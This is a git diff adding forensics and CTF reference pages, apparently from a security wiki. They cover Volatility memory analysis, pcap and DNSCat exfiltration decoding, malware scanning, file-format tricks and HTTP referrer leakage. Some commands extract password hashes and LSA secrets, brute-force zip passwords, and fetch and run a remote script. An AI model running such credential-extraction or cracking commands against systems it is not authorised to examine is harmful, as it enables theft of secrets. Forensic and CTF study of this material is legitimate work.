+* the "incremental generation" feature of PDF wherein a previous version is retained but not visible to the user
+* white text on a white background
+* text behind images
+* an image behind an overlapping image
+* non-displayed comments
+
+There are also several Python packages for working with the PDF file format, like [PeepDF](https://github.com/jesparza/peepdf), that enable you to write your own parsing scripts.
+
+
+
diff --git a/forensics/basic-forensics-esp/png-tricks.md b/forensics/basic-forensics-esp/png-tricks.md
new file mode 100644
index 00000000..1e84b518
--- /dev/null
+++ b/forensics/basic-forensics-esp/png-tricks.md
@@ -0,0 +1,6 @@
+# PNG tricks
+
+PNG files, in particular, are popular in CTF challenges, probably for their lossless compression suitable for hiding non-visual data in the image. PNG files can be dissected in Wireshark. To verify correcteness or attempt to repair corrupted PNGs you can use [pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)
+
+You can try to repair corrupted PNGs using online tools like: [https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/)
+
diff --git a/forensics/basic-forensics-esp/usb-logs-analysis.md b/forensics/basic-forensics-esp/usb-logs-analysis.md
new file mode 100644
index 00000000..2dc969e1
--- /dev/null
+++ b/forensics/basic-forensics-esp/usb-logs-analysis.md
@@ -0,0 +1,27 @@
+# USB logs analysis
+
+## USBrip
+
+ **usbrip** is a small piece of software written in pure Python 3 which parses Linux log files \(`/var/log/syslog*` or `/var/log/messages*` depending on the distro\) for constructing USB event history tables.
+
+It is interesting to know all the USBs that have been used and it will be more usefull if you have an authorized list of USB to find "violation events" \(the use of USBs that aren't inside that list\).
+
+### Installation
+
+```text
+pip3 install usbrip
+usbrip ids download #Downloal USB ID database
+```
+
+### Examples
+
+```text
+usbrip events history #Get USB history of your curent linux machine
+usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
+#Search for vid and/or pid
+usbrip ids download #Downlaod database
+usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
+```
+
+More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+
diff --git a/forensics/basic-forensics-esp/video-and-audio-file-analysis.md b/forensics/basic-forensics-esp/video-and-audio-file-analysis.md
new file mode 100644
index 00000000..2193436d
--- /dev/null
+++ b/forensics/basic-forensics-esp/video-and-audio-file-analysis.md
@@ -0,0 +1,14 @@
+# Video and Audio file analysis
+
+From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
+
+Like image file formats, audio and video file trickery is a common theme in CTF forensics challenges not because hacking or data hiding ever happens this way in the real world, but just because audio and video is fun. As with image file formats, stegonagraphy might be used to embed a secret message in the content data, and again you should know to check the file metadata areas for clues. Your first step should be to take a look with the [mediainfo](https://mediaarea.net/en/MediaInfo) tool \(or `exiftool`\) and identify the content type and look at its metadata.
+
+[Audacity](http://www.audacityteam.org/) is the premiere open-source audio file and waveform-viewing tool, and CTF challenge authors love to encode text into audio waveforms, which you can see using the spectogram view \(although a specialized tool called [Sonic Visualiser](http://www.sonicvisualiser.org/) is better for this task in particular\). Audacity can also enable you to slow down, reverse, and do other manipulations that might reveal a hidden message if you suspect there is one \(if you can hear garbled audio, interference, or static\). [Sox](http://sox.sourceforge.net/) is another useful command-line tool for converting and manipulating audio files.
+
+It's also common to check least-significant-bits \(LSB\) for a secret message. Most audio and video media formats use discrete \(fixed-size\) "chunks" so that they can be streamed; the LSBs of those chunks are a common place to smuggle some data without visibly affecting the file.
+
+Other times, a message might be encoded into the audio as [DTMF tones](http://dialabc.com/sound/detect/index.html) or morse code. For these, try working with [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) to decode them.
+
+Video file formats are really container formats, that contain separate streams of both audio and video that are multiplexed together for playback. For analyzing and manipulating video file formats, [ffmpeg](http://ffmpeg.org/) is recommended. `ffmpeg -i` gives initial analysis of the file content. It can also de-multiplex or playback the content streams. The power of ffmpeg is exposed to Python using [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html).
+
diff --git a/forensics/basic-forensics-esp/zips-tricks.md b/forensics/basic-forensics-esp/zips-tricks.md
new file mode 100644
index 00000000..8f651721
--- /dev/null
+++ b/forensics/basic-forensics-esp/zips-tricks.md
@@ -0,0 +1,18 @@
+# ZIPs tricks
+
+There are a handful of command-line tools for zip files that will be useful to know about.
+
+* `unzip` will often output helpful information on why a zip will not decompress.
+* `zipdetails -v` will provide in-depth information on the values present in the various fields of the format.
+* `zipinfo` lists information about the zip file's contents, without extracting it.
+* `zip -F input.zip --out output.zip` and `zip -FF input.zip --out output.zip` attempt to repair a corrupted zip file.
+* [fcrackzip](https://github.com/hyc/fcrackzip) brute-force guesses a zip password \(for passwords <7 characters or so\).
+
+[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
+
+One important security-related note about password-protected zip files is that they do not encrypt the filenames and original file sizes of the compressed files they contain, unlike password-protected RAR or 7z files.
+
+Another note about zip cracking is that if you have an unencrypted/uncompressed copy of any one of the files that is compressed in the encrypted zip, you can perform a "plaintext attack" and crack the zip, as [detailed here](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), and explained in [this paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). The newer scheme for password-protecting zip files \(with AES-256, rather than "ZipCrypto"\) does not have this weakness.
+
+From: [https://app.gitbook.com/@cpol/s/hacktricks/~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](https://app.gitbook.com/@cpol/s/hacktricks/~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks)
+
diff --git a/forensics/malware-analysis.md b/forensics/malware-analysis.md
new file mode 100644
index 00000000..b70becc2
--- /dev/null
+++ b/forensics/malware-analysis.md
@@ -0,0 +1,66 @@
+# Malware Analysis
+
+## Forensics CheatSheets
+
+[https://www.jaiminton.com/cheatsheet/DFIR/\#](https://www.jaiminton.com/cheatsheet/DFIR/#)
+
+## Online Services
+
+* [VirusTotal](https://www.virustotal.com/gui/home/upload)
+* [HybridAnalysis](https://www.hybrid-analysis.com)
+* [Koodous](https://koodous.com/)
+* [Intezer](https://analyze.intezer.com/)
+
+## Offline antivirus
+
+* Windows Defender
+* Avast Antivirus \(or any other antivirus\)
+
+Update the Antivirus, disconnect from internet the PC and scan the file.
+
+### PEpper
+
+[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable \(binary data, entropy, URLs and IPs, some yara rules
+
+### Yara
+
+#### Install
+
+```text
+sudo apt-get install -y yara
+```
+
+#### Prepare rules
+
+Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)
+Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware.
+
+```text
+wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
+mkdir rules
+python malware_yara_rules.py
+```
+
+#### Scan
+
+```text
+yara -w malware_rules.yar image #Scan 1 file
+yara -w malware_rules.yar folder #Scan hole fodler
+```
+
+### ClamAV
+
+#### Install
+
+```text
+sudo apt-get install -y clamav
+```
+
+#### Scan
+
+```text
+sudo freshclam #Update rules
+clamscan filepath #Scan 1 file
+clamscan folderpath #Scan the hole folder
+```
+
diff --git a/forensics/memory-dump-analysis.md b/forensics/memory-dump-analysis.md
new file mode 100644
index 00000000..2bcacc2c
--- /dev/null
+++ b/forensics/memory-dump-analysis.md
@@ -0,0 +1,51 @@
+# Memory dump analysis
+
+Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](malware-analysis.md).
+
+## Bulk Extractor
+
+This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
+
+This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do:
+
+```text
+bulk_extractor memory.img -o out_folder
+```
+
+Navigate through **all the information** that the tool has gathered \(passwords?\), **analyze** the **packets** \(read[ **Pcaps analysis**](pcaps-analysis/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\).
+
+## FindAES
+
+Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
+
+Download [here](https://sourceforge.net/projects/findaes/).
+
+## [Volatility](volatility-examples.md)
+
+The premiere open-source framework for memory dump analysis is [Volatility](volatility-examples.md). Volatility is a Python script for parsing memory dumps that were gathered with an external tool \(or a VMware memory image gathered by pausing the VM\). So, given the memory dump file and the relevant "profile" \(the OS from which the dump was gathered\), Volatility can start identifying the structures in the data: running processes, passwords, etc. It is also extensible using plugins for extracting various types of artifact.
+From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
+
+## Mini dump crash report
+
+When the dump is small \(just some KB, maybe a few MB\) the it's probably a mini dump crash report and not a memory dump.
+
+![](../.gitbook/assets/image%20%28305%29.png)
+
+If you hat Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed:
+
+![](../.gitbook/assets/image%20%28164%29.png)
+
+You can also load the exception and see the decompiled instructions
+
+![](../.gitbook/assets/image%20%282%29.png)
+
+![](../.gitbook/assets/image%20%28149%29.png)
+
+Anyway Visual Studio isn't the best tool to perform a analysis in depth of the dump.
+
+You should **open** it using **IDA** or **Radare** to inspection it in **depth**.
+
+
+
+
+
diff --git a/forensics/pcaps-analysis/README.md b/forensics/pcaps-analysis/README.md
new file mode 100644
index 00000000..d2c68a90
--- /dev/null
+++ b/forensics/pcaps-analysis/README.md
@@ -0,0 +1,86 @@
+# Pcaps analysis
+
+Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md).
+
+A note about PCAP vs PCAPNG: there are two versions of the PCAP file format; PCAPNG is newer and not supported by all tools. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools.
+
+## Online tools for pcaps
+
+* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)\*\*\*\*
+* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com/)\*\*\*\*
+
+## Basic Statistics
+
+### Capinfos
+
+```text
+capinfos capture.pcap
+```
+
+### Wireshark
+
+Inside wireshark you can see different **statistics** that could be useful. Some interesting http filters: [https://www.wireshark.org/docs/dfref/h/http.html](https://www.wireshark.org/docs/dfref/h/http.html)
+
+If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_
+You can add new layers to the main information bar _\(No., Time, Source...\)_ pressing _right bottom_ and _Edit Column_
+
+[Some WireShark tricks here.](wireshark-tricks.md)
+
+## Suricata
+
+### Install and setup
+
+```text
+apt-get install suricata
+apt-get install oinkmaster
+echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
+oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
+```
+
+### Check pcap
+
+```text
+suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
+```
+
+## Ngrep
+
+If you are **looking** for **something** inside the pcap you can use **ngrep**. And example using the main filters:
+
+```text
+ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
+```
+
+## Xplico Framework
+
+Xplico can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email \(POP, IMAP, and SMTP protocols\), all HTTP contents, each VoIP call \(SIP\), FTP, TFTP, and so on.
+
+### Install
+
+```text
+sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
+sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
+sudo apt-get update
+sudo apt-get install xplico
+```
+
+### Run
+
+```text
+/etc/init.d/apache2 restart
+/etc/init.d/xplico start
+```
+
+Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
+
+Then create a **new case**, create a **new session** inside the case and **upload the pcap** file.
+
+## NetworkMiner
+
+Like Xplico it is a tool to analyze and extract objects from pcaps. It has a free edition that you can download [here](https://www.netresec.com/?page=NetworkMiner).
+
+## Other pcap analysis tricks
+
+* [DNSCat pcap analysis](dnscat-exfiltration.md)
+* [USB Keyboard pcap analysis](usb-keyboard-pcap-analysis.md)
+
diff --git a/forensics/pcaps-analysis/dnscat-exfiltration.md b/forensics/pcaps-analysis/dnscat-exfiltration.md
new file mode 100644
index 00000000..6b30aa54
--- /dev/null
+++ b/forensics/pcaps-analysis/dnscat-exfiltration.md
@@ -0,0 +1,28 @@
+# DNSCat pcap analysis
+
+If you have pcap with data being **exfiltrated by DNSCat** \(without using encryption\), you can find the exfiltrated content.
+
+You only need to know that the **first 9 bytes** are not real data but are related to the **C&C communication**:
+
+```python
+from scapy.all import rdpcap, DNSQR, DNSRR
+import struct
+
+f = ""
+last = ""
+for p in rdpcap('ch21.pcap'):
+ if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
+
+ qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
+ qry = ''.join(_.decode('hex') for _ in qry)[9:]
+ if last != qry:
+ print(qry)
+ f += qry
+ last = qry
+
+#print(f)
+```
+
+For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)
+[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
+
diff --git a/forensics/pcaps-analysis/usb-keyboard-pcap-analysis.md b/forensics/pcaps-analysis/usb-keyboard-pcap-analysis.md
new file mode 100644
index 00000000..cc0aefa2
--- /dev/null
+++ b/forensics/pcaps-analysis/usb-keyboard-pcap-analysis.md
@@ -0,0 +1,13 @@
+# USB Keyboard pcap analysis
+
+If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection.
+
+A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
+
+It could be important to know that the data that starts with "02" is pressed using shift.
+
+You can read more information and find some scripts about how to analyse this in:
+
+* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
+* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
+
diff --git a/forensics/pcaps-analysis/wireshark-tricks.md b/forensics/pcaps-analysis/wireshark-tricks.md
new file mode 100644
index 00000000..71a595ee
--- /dev/null
+++ b/forensics/pcaps-analysis/wireshark-tricks.md
@@ -0,0 +1,27 @@
+# WireShark tricks
+
+## Decrypting TLS
+
+### Decrypting https traffic with server private key
+
+_edit>preference>protocol>ssl>_
+
+![](../../.gitbook/assets/image%20%28263%29.png)
+
+Press _Edit_ and add all the data of the server and the private key \(_IP, Port, Protocol, Key file and password_\)
+
+### Decrypting https traffic with symmetric session keys
+
+It turns out that Firefox and Chrome both support logging the symmetric session key used to encrypt TLS traffic to a file. You can then point Wireshark at said file and presto! decrypted TLS traffic. More in: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)
+To detect this search inside the environment for to variable `SSLKEYLOGFILE`
+
+A file of shared keys will looks like this:
+
+![](../../.gitbook/assets/image%20%2862%29.png)
+
+To import this in wireshark go to _edit>preference>protocol>ssl>_ and import it in \(Pre\)-Master-Secret log filename:
+
+![](../../.gitbook/assets/image%20%28191%29.png)
+
+
+
diff --git a/forensics/volatility-examples.md b/forensics/volatility-examples.md
new file mode 100644
index 00000000..28dfcf65
--- /dev/null
+++ b/forensics/volatility-examples.md
@@ -0,0 +1,281 @@
+# Volatility - Examples
+
+If you want something as **fast** as possible: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)
+
+```text
+python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # Will use most important plugins (could use a lot of space depending on the size of the memory)
+```
+
+[Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)
+
+## A note on “list” vs. “scan” plugins
+
+Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes \(locate and walk the linked list of `_EPROCESS` structures in memory\), OS handles \(locating and listing the handle table, dereferencing any pointers found, etc\). They more or less behave like the Windows API would if requested to, for example, list processes.
+
+That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist.
+
+“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make out `_EPROCESS` objects out of it \(it uses pool-tag scanning, which is basically searching for 4-byte strings that indicate the presence of a structure of interest\). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory \(since it still needs to exist for the process to run\). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false-positives \(a process that exited too long ago and had parts of its structure overwritten by other operations\).
+
+From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
+
+## Get profile
+
+```text
+volatility imageinfo -f file.dmp
+volatility kdbgscan -f file.dmp
+```
+
+### **Differences between imageinfo and kdbgscan**
+
+As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address \(if there happen to be multiple\). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile \(or if you have a profile suggestion from imageinfo\), then make sure you use it \(from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)\).
+
+Always take a look in the **number of procceses that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** \(This is because in order to extract processes the correct KDBG address is needed\)
+
+```text
+# GOOD
+PsActiveProcessHead : 0xfffff800011977f0 (37 processes)
+PsLoadedModuleList : 0xfffff8000119aae0 (116 modules)
+```
+
+```text
+# BAD
+PsActiveProcessHead : 0xfffff800011947f0 (0 processes)
+PsLoadedModuleList : 0xfffff80001197ac0 (0 modules)
+```
+
+### KDBG
+
+The **kernel debugger block** \(named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG** by volatility\) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing.
+
+## Hashes/Passwords
+
+Extract password hashes from memory
+
+```text
+volatility --profile=Win7SP1x86_23418 hashdump -f ch2.dmp #Local hashes
+volatility --profile=Win7SP1x86_23418 cachedump -f ch2.dmp
+volatility --profile=Win7SP1x86_23418 lsadump -f ch2.dmp # LSA secrets
+```
+
+## Memory Dump
+
+The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**.
+
+```text
+volatility -f ch2.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
+```
+
+## Processes
+
+### List processes
+
+Try to find **suspicious** processes \(by name\) or **unexpected** child **processes** \(for example a cmd.exe as a child of iexplorer.exe\).
+
+```text
+volatility --profile=PROFILE pstree -f DUMP # Get process tree (not hidden)
+volatility --profile=PROFILE pslist -f DUMP # Get process list (EPROCESS)
+volatility --profile=PROFILE psscan -f DUMP # Get hidden process list(malware)
+volatility --profile=PROFILE psxview -f DUMP # Get hidden process list
+```
+
+### Dump proc
+
+```text
+volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f ch2.dmp
+```
+
+### Command line
+
+Something suspicious was executed?
+
+```text
+volatility --profile=PROFILE cmdline -f DUMP #Display process command-line arguments
+volatility --profile=PROFILE consoles -f DUMP #command history by scanning for _CONSOLE_INFORMATION
+```
+
+Commands entered into cmd.exe are processed by **conhost.exe** \(csrss.exe prior to Windows 7\). So even if an attacker managed to **kill the cmd.exe** **prior** to us obtaining a memory **dump**, there is still a good chance of **recovering history** of the command line session from **conhost.exe’s memory**. If you find **something weird**\(using the consoles modules\), try to **dump** the **memory** of the **conhost.exe associated** process and **search** for **strings** inside it to extract the command lines.
+
+### Environment
+
+```text
+volatility --profile=PROFILE envars -f DUMP #Display process environment variables
+```
+
+### Privileges
+
+Unexpected and exploitable privileges in a process?
+
+```text
+#Get enabled privileges of some processes
+volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled
+#Get all processes with interesting privileges
+volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep Enabled | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege"
+```
+
+### SIDs
+
+Processes running with admin privileges?
+
+```text
+#Get the SID of a process
+volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled
+#Get processes with admin privileges
+volatility --profile=Win7SP1x86_23418 getsids -f ch2.dmp | grep -i admin
+```
+
+### Handles
+
+Useful to know to which other files, keys, threads, processes... a **process has a handle** for \(has opened\)
+
+```text
+volatility --profile=Win7SP1x86_23418 handles --pid=3152 -f ch2.dmp
+```
+
+### DLLs
+
+```text
+volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f ch2.dmp #Get dlls of a proc
+volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f ch2.dmp #Dump dlls of a proc
+```
+
+## Services
+
+```text
+#Get services and binary path
+volatility --profile=Win7SP1x86_23418 svcscan-f ch2.dmp
+#Get name of the services and SID (slow)
+volatility --profile=Win7SP1x86_23418 getservicesids -f ch2.dmp
+```
+
+## Network
+
+```text
+volatility --profile=Win7SP1x86_23418 netscan -f ch2.dmp
+volatility --profile=Win7SP1x86_23418 connections -f ch2.dmp #XP and 2003 only
+volatility --profile=Win7SP1x86_23418 connscan -f ch2.dmp #TCP connections
+volatility --profile=Win7SP1x86_23418 sockscan -f ch2.dmp #Open sockets
+volatility --profile=Win7SP1x86_23418 sockets -f ch2.dmp #Scanner for tcp socket objects
+```
+
+## Hive
+
+### Print available hives
+
+```text
+volatility --profile=Win7SP1x86_23418 hivelist -f ch2.dmp
+```
+
+### Get a value
+
+```text
+volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f ch2.dmp
+# Get Run binaries registry value
+volatility -f ch2.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run'
+```
+
+### Dump
+
+```text
+#Dump a hive
+volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f ch2.dmp #Offset extracted by hivelist
+#Dump all hives
+volatility --profile=Win7SP1x86_23418 hivedump -f ch2.dmp
+```
+
+## Files
+
+### Scan/dump
+
+```text
+volatility --profile=Win7SP1x86_23418 filescan -f ch2.dmp #Scan for files inside the dump
+volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-files=. -f ch2.dmp #Dump the files
+```
+
+### SSL Keys/Certs
+
+Interesting options for this modules are: _--pid, --name, --ssl_
+
+```text
+volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f ch2.dmp
+```
+
+## Malware
+
+```text
+volatility --profile=Win7SP1x86_23418 malfind -f ch2.dmp
+volatility --profile=Win7SP1x86_23418 apihooks -f ch2.dmp
+volatility --profile=Win7SP1x86_23418 driverirp -f ch2.dmp
+```
+
+### Scanning with yara
+
+Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)
+Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware.
+
+```text
+wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
+mkdir rules
+python malware_yara_rules.py
+volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq
+```
+
+## External Plugins
+
+When you use an external plugin **the first parameter** that you have to set is `--plugins`
+
+### Autoruns
+
+Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns)
+
+```text
+ volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f dump.img autoruns
+```
+
+## MISC
+
+### Get clipboard
+
+```text
+volatility --profile=Win7SP1x86_23418 clipboard -f ch2.dmp
+```
+
+### Get IE history
+
+```text
+volatility --profile=Win7SP1x86_23418 iehistory -f ch2.dmp
+```
+
+### Get notepad text
+
+```text
+volatility --profile=Win7SP1x86_23418 notepad -f ch2.dmp
+```
+
+### Screenshot
+
+```text
+volatility --profile=Win7SP1x86_23418 screenshot -f ch2.dmp
+```
+
+### Mutantscan
+
+```text
+volatility --profile=Win7SP1x86_23418 mutantscan -f ch2.dmp
+```
+
+### Master Boot Record \(MBR\)
+
+```text
+volatility --profile=Win7SP1x86_23418 mbrparser -f ch2.dmp
+```
+
+The MBR holds the information on how the logical partitions, containing [file systems](https://en.wikipedia.org/wiki/File_system), are organized on that medium. The MBR also contains executable code to function as a loader for the installed operating system—usually by passing control over to the loader's [second stage](https://en.wikipedia.org/wiki/Second-stage_boot_loader), or in conjunction with each partition's [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) \(VBR\). This MBR code is usually referred to as a [boot loader](https://en.wikipedia.org/wiki/Boot_loader). From [here](https://en.wikipedia.org/wiki/Master_boot_record).
+
+### Master File Table
+
+```text
+volatility --profile=Win7SP1x86_23418 mftparser -f ch2.dmp
+```
+
+ The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. All information about a file, including its size, time and date stamps, permissions, and data content, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table).
+
diff --git a/interesting-http.md b/interesting-http.md
new file mode 100644
index 00000000..fd058e89
--- /dev/null
+++ b/interesting-http.md
@@ -0,0 +1,38 @@
+# Interesting HTTP
+
+## Referrer headers and policy
+
+Referrer is the header used by browsers to indicate which was the previous page visited.
+
+### Sensitive information leaked
+
+If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest \(social engineering\) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request.
+
+### Mitigation
+
+You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications:
+
+```text
+Referrer-Policy: no-referrer
+Referrer-Policy: no-referrer-when-downgrade
+Referrer-Policy: origin
+Referrer-Policy: origin-when-cross-origin
+Referrer-Policy: same-origin
+Referrer-Policy: strict-origin
+Referrer-Policy: strict-origin-when-cross-origin
+Referrer-Policy: unsafe-url
+```
+
+### Counter-Mitigation
+
+You can override this rule using an HTML meta tag \(the attacker needs to exploit and HTML injection\):
+
+```markup
+
+
+```
+
+### Defense
+
+Never put any sensitive data inside GET parameters or paths in the URL.
+
diff --git a/linux-unix/linux-environment-variables.md b/linux-unix/linux-environment-variables.md
new file mode 100644
index 00000000..c054e2d5
--- /dev/null
+++ b/linux-unix/linux-environment-variables.md
@@ -0,0 +1,142 @@
+# Linux Environment Variables
+
+## Global variables
+
+The **global variables** will be **inherited** by **child processes**.
+
+You can create a Global variable for your current session doing:
+
+```bash
+export MYGLOBAL="hello world"
+echo $MYGLOBAL #Prints: hello world
+```
+
+This variable will be accessible by your current sessions and its child processes.
+
+You can **remove** a variable doing:
+
+```bash
+unset MYGLOBAL
+```
+
+## Local variables
+
+The **local variables** can only be **accessed** by the **current shell/script**.
+
+```bash
+LOCAL="my local"
+echo $LOCAL
+unset LOCAL
+```
+
+## List current variables
+
+```bash
+set
+env
+printenv
+cat /proc/$$/environ
+cat /proc/`python -c "import os; print(os.getppid())"`/environ
+```
+
+## Persistent Environment variables
+
+#### **Files that affect behavior of every user:**
+
+* _**/etc/bash.bashrc**_ ****: This file is read whenever an interactive shell is started \(normal terminal\) and all the commands specified in here are executed.
+* _**/etc/profile and /etc/profile.d/\***_**:** This file is read every time a user logs in. Thus all the commands executed in here will execute only once at the time of user logging in.
+ * **Example:**
+
+ `/etc/profile.d/somescript.sh`
+
+ ```bash
+ #!/bin/bash
+ TEST=$(cat /var/somefile)
+ export $TEST
+ ```
+
+#### **Files that affect behavior for only a specific user:**
+
+* _**~/.bashrc**_ **:** This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory.
+* _**~/.profile, ~/.bash\_profile, ~/.bash\_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in.
+
